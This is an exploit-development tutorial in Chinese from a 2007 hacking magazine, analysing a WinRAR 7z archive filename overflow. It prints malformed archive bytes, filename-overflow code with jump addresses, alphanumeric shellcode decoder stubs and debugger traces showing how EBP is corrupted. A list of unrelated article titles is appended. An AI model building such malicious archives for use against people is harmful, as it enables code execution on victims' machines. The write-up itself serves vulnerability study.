文章作者:gyzy [E.S.T](www.gyzy.org)
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

本文已经发表在《黑客防线》2007年4月刊。作者及《黑客防线》保留版权,转载请注明原始出处。

适合读者:溢出爱好者
前置知识:汇编语言、缓冲区溢出基本原理

文/图  孤烟逐云(gyzy)【江苏大学信息安全系 & 邪恶八进制信息安全团队】

security.nnov.ru在06年底的时候发布了一个针对WinRAR 7z溢出的POC,可以导致执行恶意代码,可能有些朋友认为7z格式出问题不是那么严重,但WinRAR有个不算Bug的Bug:它是不认扩展名的,这意味着7z格式的压缩包扩展名改成rar还是能被解压,这就给恶意利用创造了机会,嘿嘿。WinRAR安装目录下的一个Formats的目录里面有许多扩展名是fmt的文件,但其实都是DLL,供主程序调用处理不同的压缩包。在7月份的时候LZH格式也出现过Stack Overflow,但这次的7z溢出严格的来说并不能称之为Stack overflow,看完漏洞的分析就知道为什么了。
    既然已经有了poc,我们就没有必要自己去阅读大把的7z格式说明文档了,7z是开源的,在他的官方站点(www.7-zip.org)能下载到格式说明和一个开源的工程,感兴趣的朋友可以仔细研究下7z的文件格式。这里我直接给出作者在poc代码中公布的一个已经构造好的畸形压缩包:

Copy code

unsigned char hz_part1[] =
    "\x37\x7A\xBC\xAF\x27\x1C\x00\x02"  //前8个字节是固定的
    "\xEE\xD6\x49\x23"                    // 7z头部32字节的CRC1
    "\x00\x00\x00\x00\x00\x00\x00\x00"  //下一个7z头的偏移,这里是0
    "\x2D\x40\x00\x00\x00\x00\x00\x00"  //下一个头的长度,这里是0x402D
    "\x3D\xC3\xFE\x9B"                    // 除前32字节外的CRC2
    "\x01\x05\x01\x0E\x01\x80\x0F\x01\x80\x11\x80\x01\x00"; //下一个头开始

char filename[0x400A];                    //超长的文件名,Unicode编码

unsigned char hz_part2[] =
    "\x14\x0A\x01\x00\xF0\xDE\xE9\xB5\xBF\xF2\xC6\x01\x15\x06\x01\x00"
    "\x20\x00\x00\x00\x00\x00";            //文件属性等信息

这样,一个畸形的7z压缩包就构造好了,大家自己和图片对照一下,如图1


图1
不过先别急着打开,WinRAR会对7z压缩包进行CRC32校验,假如校验有错的话就会提示压缩包损坏。所以我们必须自己重新计算CRC校验值。所幸的是,czy大牛的博客上公布了一个计算7zCRC校验的程序,我在他的基础上略微更改了一下,在此表示感谢。假如大家为了练手要自己动手,那么有一点需要注意,由于第二个CRC值会间接影响到第一个CRC校验,所以必须首先计算第二个CRC校验值,CRC32的算法网上一抓一把,我就不多说了。我提供的7zCRC.exe默认校正当前目录下的test.rar,这一点也请注意,7zCRC.exe能在黑防网站上的配套代码里能找到。

小试牛刀
也许大家会奇怪为什么图1里面我文件名填充的为什么是重复的0x9960呢,答案就是Unicode,7z要求文件名必须是Unicode编码,0x9960就是两个nop(0x90)的Unicode,对于Unicode我也不多解释,有一点需要牢记:0x80以上的会被转义,举个例子:0x4100大家都知道是大写的A,但是0x9000就不是大家所熟悉的Nop了,依据语言环境的不同可能会被转义成乱码,正是这一点,给我们的完美利用带来了许多的麻烦。我们双击打开压缩包,然后要点解压到才能触发,WinRAR出错了,如图2:


图2
Offset:90909090 嘿嘿,EIP被覆盖了,接下来要做的就是定位溢出点,两次定位法,我还是不多说,自己翻以前的黑防。我直接给出结果,溢出点就在(filename+8)开始的四个字节,由于我们的Shellcode在栈中,习惯性的想到了中文2000/XP/2k3下通用的Jmp esp跳转地址0x7FFA4512,下面看我的代码:

Copy code

//写入超长文件名
char content[0x2005];            //0x400A/2 = 0x2005 用于ASCII向Unicode转换
memset(content,0x41,0x2005);    //填充0x41不会引起转义问题
memcpy(content+4, "\x12\x45\xfa\x7f",4); //
MultiByteToWideChar(CP_ACP,0,content,0x2005,(LPWSTR)filename,0x400A); //Convert
WriteFile(h7z, (LPCVOID)filename,0x400A,&dwWritten,NULL);

这时候栈的地址是在0x17Dxxxxx的地方,马上重新生成一个压缩包,打开,但出错的地址不在栈中,意味着EIP没有跳转到栈中,如图3:


图3
奇怪,3f是哪来的呢?经过我查资料,Unicode是双字节码,3f表示的是未知字符,文件名的16个字节经过MultiByteToWideChar函数的转化以后已经变成了下面这个样子\x41\x00\x41\x00\x41\x00\x41\x00\x12\x00\x45\x00\x3f\x00\x41,看来这个地址是用不了了,poc代码的作者提供的是0x100201BB这个地址,这个地址是在7zxa.dll的.rdata段里,虽然这里面有个0xBB但是由于它处在首尾两端,我们还是可以给它补一个字节,这样就不怕转义了,但是在测试中我发现7z.fmt和7z.dll的加载基址几乎每次都是不一样的,所以这个地址也只能放弃,难道我们真的要放弃?

柳暗花明
我们的跳转地址必须符合三个条件:1.需要能够跳回堆栈 2.四个字节不能出现>0x80的字节 3.或者出现0x80以上的字节不能出现在中间两个位置上。我打开OD的内存,一个个模块搜索过来,黄天不负有心人,在所有加载模块的最高处,Shell32.dll的.text段里面居然让我找到了:0x7D646981,嘿嘿,跳转地址就可以这么构造0x41000x4100x4100x8A7C 0x69000x64000x7D00,其中是0x8A7C是0x81的Unicode,但这不是完美的解决方案,不是每台机子的0x7D646981都是Jmp esp,但同一个SP下Shell32.dll加载的基址应该是固定的,至于如何实现通用,这个问题还是留给读者吧。Shellcode的定位问题算是暂时告一段落了,紧接着而来的问题就是要有能经得起转换的Shellcode,对了,纯字母数字的Shellcode就是符合这样要求的Shellcode,经得起MultiByteToWideChar折腾的也就这孩子了。幸亏黑防上期刚刚发表过关于编写纯字母数字的Shellcode的文章,不然我得多打一个小时的字:)不知大家是否已经有了自己的AlphaNumric的Shellcode了,如果没有的话,我找来了一个生成的模板供大家使用:

Copy code

{ "nops",    "IIIIIIIIIIIIIIIIII7" mixedcase_ascii_decoder_body },
  { "eax",      "PYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
  { "ecx",      "IIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
  { "edx",      "JJJJJJJJJJJJJJJJJ7RY" mixedcase_ascii_decoder_body },
  { "ebx",      "SYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
  { "esp",      "TYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
  { "ebp",      "UYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
  { "esi",      "VYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
  { "edi",      "WYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
  { "[esp-10]", "LLLLLLLLLLLLLLLLYIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
  { "[esp-C]",  "LLLLLLLLLLLLYIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
  { "[esp-8]",  "LLLLLLLLYIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
  { "[esp-4]",  "LLLL7YIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
  { "[esp]",    "YIIIIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
  { "[esp+4]",  "YYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
  { "[esp+8]",  "YYYIIIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
  { "[esp+C]",  "YYYYIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
  { "[esp+10]", "YYYYYIIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
  { "[esp+14]", "YYYYYYIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
  { "[esp+18]", "YYYYYYYIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
  { "[esp+1C]", "YYYYYYYYIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
  { "seh",      mixedcase_w32sehgetpc "IIIIIIIIIIIIIIIII7QZ" // ecx code

这是解码头,根据溢出的时候哪个寄存器指向Shellcode进行选用,生成Shellcode主体的函数配套代码alphashellcode里面有。我们这应该选择TYIIIIIIIIIIIIIIII7QZ这个解码头,Shellcode怪长的我就不贴了,以免有骗稿费之嫌。再次测试,成功,如图4:


图4

疑云重重
虽然利用是成功了,不过不知道大家有没有发现一些比较奇怪的问题:1.如果是栈溢出,为什么溢出点却在超长字符串的前面,而不是在中间或者后面,不会它的缓冲区只有1个字节吧? 2.为什么打开的时候不触发漏洞只有解压的时候才触发? 3.为什么gyzy说这不是严格意义上的栈溢出?(汗..) 带着这一连串的问题,任何言语的猜测都是苍白的,还是让OD去解开我们的疑团。这里顺便发一下牢骚,OD对多线程的处理真是不咋的,经常会莫名其妙的出现假死的现象,先加载WinRAR.exe让OD跑起来,记得先把跳转地址改掉,以免出现没有断下来的尴尬局面,另外还要记得校正CRC值,不然它会郑重的警告你一下,哈哈,祈祷你的机器没有假死吧,阿门,如图5:


图5
我发现原版的OD好像稳定性好一点,所以我用的是原版的,这个时候EIP已经被覆盖了,我在堆栈窗口里往上下都翻了翻,没有翻到正常的返回地址,奇怪了,不可能所有的返回地址都覆盖吧?太狠了,居然一点线索都不给留下,按照常规堆栈回溯下很容易找到出问题的代码,看来事情越发的扑朔迷离了。Ctrl+F2重新来,F9让他跑起来,然后bp CreateThread,
在这上面下断,因为很明显解压文件的时候需要新开线程,会发现0049CDFC这个地址是新开线程的起始地址,然后一部部往下跟(省略N多步骤,要是都写出来有点感觉自己像是写长篇小说了),跟进到这个地方:

Copy code

0045BD63  |. E8 7466FBFF    |CALL WinRAR.004123DC
0045BD68  |. 84C0          |TEST AL,AL
0045BD6A  |. 74 04          |JE SHORT WinRAR.0045BD70
0045BD6C  |. B0 01          |MOV AL,1
0045BD6E  |. EB 0F          |JMP SHORT WinRAR.0045BD7F
0045BD70  |> 43            |INC EBX
0045BD71  |> 3B9F 04040000  CMP EBX,DWORD PTR DS:[EDI+404]
0045BD77  |.^0F8C 41FFFFFF  \JL WinRAR.0045BCBE
0045BD7D  |. 33C0          XOR EAX,EAX
0045BD7F  |> 5F            POP EDI
0045BD80  |. 5E            POP ESI
0045BD81  |. 5B            POP EBX
0045BD82  |. 8BE5          MOV ESP,EBP
0045BD84  |. 5D            POP EBP
0045BD85  \. C2 0800        RETN 8

返回的时候EIP被覆盖了,RETN 8指令说明在返回地址后面要有8个字节的保留空间,再跟Shellcode,我们在0045BD80下断,如图6:


图6

霍然开朗
但这时的ESP却还是01DCF80C,怎么后来就跳到了017D6578了呢,答案就在下面0045B082的MOV ESP,EBP而EBP恰恰是017D6578,这就解释了刚才的种种疑问,为什么异常发生的时候栈里回溯不到调用信息,为什么溢出点会出现在字符串的前几个字节了。答案就是EBP的值被污染了。重复上面的若干步骤,在01DCF8E8上下写入硬断,里面保存着被覆盖前的的EBP,下面这段代码覆盖了栈里的正确EBP值:

Copy code

00494AD8  |. 57            PUSH EDI
00494AD9  |. 8B7D 08        MOV EDI,DWORD PTR SS:[EBP+8]
00494ADC  |. 8BC7          MOV EAX,EDI
00494ADE  |. 8B75 0C        MOV ESI,DWORD PTR SS:[EBP+C]
00494AE1  |. 8B4D 10        MOV ECX,DWORD PTR SS:[EBP+10]
00494AE4  |. 8BD1          MOV EDX,ECX
00494AE6  |. D1E9          SHR ECX,1
00494AE8  |. D1E9          SHR ECX,1
00494AEA  |. FC            CLD          ecx 203
00494AEB  |. F3:A5          REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
00494AED  |. 8BCA          MOV ECX,EDX
00494AEF  |. 83E1 03        AND ECX,3      2
00494AF2  |. F3:A4          REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
00494AF4  |. 5F            POP EDI

省略N多步骤,最后发现是00412562这里的指令将EBP值污染了,然后返回到0045BD82的时候间接覆盖了ESP。

Copy code

00412562  |. 5D            POP EBP

跟踪到这的时候也觉得有点意思,很难说这是个标准的覆盖返回地址或者SEH链的栈溢出,但是这儿确实间接的覆盖了返回地址。最近一年来,各种第三方软件的文件处理漏洞逐渐多了起来,个人觉得像这一类的漏洞基本只能靠黑盒测试发现,代码审计也许都很难发现。这次那个作者能发现也算运气,也许短一点的文件名根本就触发不了这么隐秘的Bug了。而且确实不太好利用,溢出点靠后点还能伪装一个诱人点的文件名呢,唉....但是供大家练练手还是不错的,牵涉到很多方面的东西。

小结
  本文介绍了针对已发布的POC进行改写利用的一些方法和心得,并给了相关实例,希望对感兴趣的朋友能起到抛砖引玉的作用。文章也写的比较仓促,错误疏漏在所难免,敬请广大读者指正,衷心祝愿大家猪年快乐,有任何问题来我的博客留言:http://www.gyzy.org,同时也欢迎广大高三黑友踊跃填报我校:)
   
(文中所涉及的程序或代码,请到黑防官方网站下载,详细地址请看公共论坛置顶帖)

转载于:https://www.cnblogs.com/nniixl/archive/2007/05/02/734295.html

WinRAR 7z压缩包处理溢出分析和利用(转)相关推荐

  1. java内存溢出分析工具:jmap使用实战

    java内存溢出分析工具:jmap使用实战 在一次解决系统tomcat老是内存撑到头,然后崩溃的问题时,使用到了jmap.  1 使用命令  在环境是linux+jdk1.5以上,这个工具是自带的,路 ...

  2. 浅析缓冲区溢出漏洞的利用与Shellcode编写

    文章目录 前言 汇编语言 寄存器 内存堆栈 CPU指令 函数调用 缓冲区溢出 栈溢出原理 栈溢出攻击 ShellCode 总结 前言 缓冲区溢出(Buffer Overflow)是计算机安全领域内既经 ...

  3. 2.2 STM32 RAM溢出分析(KEIL在Build的时候提示Error:L6406E:No space in execution)

    科普: 先请问大家一个问题:keil5编译后生成 Program Size: Code RO-data RW-data ZI-data是什么? Program Size: Code=x RO-data ...

  4. Android“FakeID”签名漏洞分析和利用

    转自CSDN<程序员杂志>         作者:火点,三金 7月30号,新闻又爆出Bluebox安全研究团队发布的安卓新的签名漏洞 "假 ID",除了最新的4.4版本 ...

  5. Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用

    Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用 测试环境及工具: windbg IDA winxp sp3 这算是正式调试分析的第一个漏洞,也是跟着一位学长的博客做一 ...

  6. Serv-U MDTM命令远程溢出分析

    Serv-U "MDTM"命令远程溢出分析 文章属性:转载 文章提交:peak (pe4k_at_eyou.com) Serv-U "MDTM"命令远程溢出分析 ...

  7. Serv-U 之MDTM命令远程溢出分析

    Serv-U 之MDTM命令远程溢出分析 czy 于 04.02.29 2月27号一早在securityfocus看到了这个漏洞的公告,上面清楚的说明了You must have a valid us ...

  8. winrar密码“秒破”的分析与尝试

    winrar密码"秒破"的分析与尝试 发布时间:2010-08-17 15:53文章来源:网络  文章作者:秩名 点击次数: 654次 摘要:第一步:用winhex将下面数据生成r ...

  9. [转自luoluo's blog]CCProxy远程缓冲区溢出分析

    CCProxy远程缓冲区溢出分析 luoluo [luoluonet@hotmail.com] CCProxy的缓冲区溢出攻击代码早已公布,但是我并没有能找到漏洞的相关说明,以下就对 这个简单的缓冲区 ...

最新文章

  1. python爬虫算法深度优先_爬虫课程(四)|深度优先和广度优先算法
  2. 普通函数与函数模板的区别
  3. dateFormat in DatePicker control Fiori - language 语言
  4. CodeForces - 1058A. In Search of an Easy Problem
  5. python持久化数据_Python数据持久化-mysql篇
  6. FPGA异步复位设计代码
  7. 上週末去南投玩了一下,順便拍了几张,拿出来和大家分享
  8. 2021-09-10 转载: 软件开发类项目关键文档
  9. HTML5权威指南pdf
  10. Linux下如何修改ini文件,如何修改Boot.ini文件,重新引导Linux!
  11. 工行网银助手 重装错误
  12. python增加一列数据_使用Python向DataFrame中指定位置添加一列或多列的方法
  13. 深度学习硬件环境配置
  14. Python中有关文件的操作
  15. 2021年中国定制家具行业现状分析:“量身定制”需求逐年增加[图]
  16. Xshell 的安装与使用
  17. 【开发工具】SVN使用教程总结
  18. mysql语句计算距离_mysql查询中的距离计算
  19. 【英语】8月英语学习总结
  20. XPS学习笔记(一)

热门文章

  1. 【Hadoop】P2 Hadoop简介
  2. 上传artifacts到maven仓库
  3. ubuntu16.04查看opencv安装路径以及版本号
  4. 集线器、交换机、路由器有什么区别?
  5. python人脸识别库_基于Python的face_recognition库实现人脸识别
  6. QT QTableWidget的用法
  7. 解决:word表格,未完成一页就跳到下一页
  8. js如何让方法在延迟两秒后执行
  9. 基于Matlab的图像分割----边缘检测
  10. 5e显示非vac服务器,CSGO出现VAC无法验证的解决方法